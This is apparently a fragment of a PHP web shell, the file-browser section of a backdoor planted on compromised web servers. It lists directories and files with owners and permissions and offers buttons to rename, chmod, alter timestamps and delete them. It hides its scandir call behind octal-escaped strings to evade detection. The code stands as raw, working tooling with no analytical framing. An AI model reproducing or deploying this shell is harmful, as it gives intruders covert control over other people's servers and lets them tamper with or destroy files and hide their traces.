color=orange>This directory is unreadable :(</font></center></td></thead></table>"); } echo '<table class="table table-dark table-hover" style="box-shadow: 0 0 20px black;width:90%;border-left:1px solid #40BECC;border-right:1px solid #40BECC;border-bottom:1px solid #40BECC;--bs-border-radius:80rem;" align="center"> <thead style="--bs-table-bg:#0D97A5;--bs-table-color:#000;"><tr> <th><center>Name</center></th> <th><center>Size</center></th> <th><center>Last Modified</center></th> <th><center>Owner</center></th> <th><center>Permissions</center></th> <th><center>Actions</center></th> </tr></thead><center>'; $scd = "\163\143"."\141\156\144"."\151\162"; if(is_readable($serlok)){ $fetch=$scd($serlok); $serlokbos=array(); $filez=array(); foreach($fetch as $fols){ if($fols=='.'||$fols=='..'){ continue; } $d7nets=$serlok.'/'.$fols; if(is_dir($d7nets)){ array_push($serlokbos,$fols); }elseif(is_file($d7nets)){ array_push($filez,$fols); } } } foreach($serlokbos as $dir){ echo "<tr> <td><i class='fa fa-folder' style='color: #FAA625'></i> <a href=\"?path=".$serlok."/".$dir."\">".$dir."</a></td> <td><center>Dir</center></td> <td><center>".filedate($serlok."/".$dir)."</center></td> <td>".owner($serlok."/".$dir)."</td> <td><center>"; if(is_writable($serlok."/".$dir)) echo '<font color="lime">'; elseif(!is_readable($serlok."/".$dir)) echo '<font color="red">'; echo statusnya($serlok."/".$dir); if(is_writable($serlok."/".$dir) || !is_readable($serlok."/".$dir)) echo '</font>'; echo "</center></td> <td><center><form method=\"POST\" action=\"?pilihan&path=$serlok\"> <div class='btn-group me-2' role='group' aria-label='First group'> <button type='submit' class='btn btn-outline-secondary badge-action-rename' name='pilih' value='gantinama'> <i class='fa fa-pencil' style='color: #fff'></i></button> <button type='submit' class='btn btn-outline-secondary badge-action-chmod' name='pilih' value='chmodf'><i class='fa fa-gear' style='color: #06D2D5'></i></button> <button type='submit' class='btn btn-outline-secondary badge-action-tanggal' name='pilih' value='chdatef'><i class='fa fa-calendar' style='color: #5654F5'></i></button> <button type='submit' class='btn btn-outline-secondary badge-action-delete' name='pilih' value='hapus'><i class='fa fa-trash' style='color: #E53A3A'></i></button></div> <input type=\"hidden\" name=\"type\" value=\"dir\"> <input type=\"hidden\" name=\"name\" value=\"$dir\"> <input type=\"hidden\" name=\"path\" value=\"$serlok/$dir\"> </form></center></td> </tr>"; } foreach($filez as $file) { if(!is_file("$serlok/$file")) continue; $size = filesize("$serlok/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = '<font color="aqua">'.round($size/1024,2).'</font> MB'; } else { $size = '<font color="#E6F01C">'.$size.'</font> KB'; } echo "<tr> <td>".cekfile($serlok."/".$file)." <a href=\"?viewfile=".$serlok."/$file&path=".$serlok."\">$file</a></td> <td><center>".$size."</center></td> <td><center>".filedate($serlok."/".$file)."</center></td> <td>".owner($serlok."/".$file)."</td> <td><center>"; if(is_writable("$serlok/$file")) echo '<font color="lime">'; elseif(!is_readable("$serlok/$file")) echo '<font color="red">'; echo statusnya("$serlok/$file"); if(is_writable("$serlok/$file") || !is_readable("$serlok/$file")) echo '</font>'; echo "</center></td><td><center> <form method='post' action='?pilihan&path=$serlok'> <div class='btn-group' role='group' aria-label='First group'>"; echo gazz($file); echo "</div><input type=\"hidden\" name=\"type\" value=\"file\"> <input type=\"hidden\" name=\"name\" value=\"$file\"> <input type=\"hidden\" name=\"path\" value=\"$serlok/$file\"> </form></center></td></tr>"; } echo '</tr></td></table></table>'; author(); function statusnya($file){ $izin = substr(sprintf('%o', fileperms($file)), -4); return $izin; } ?> </body> </html>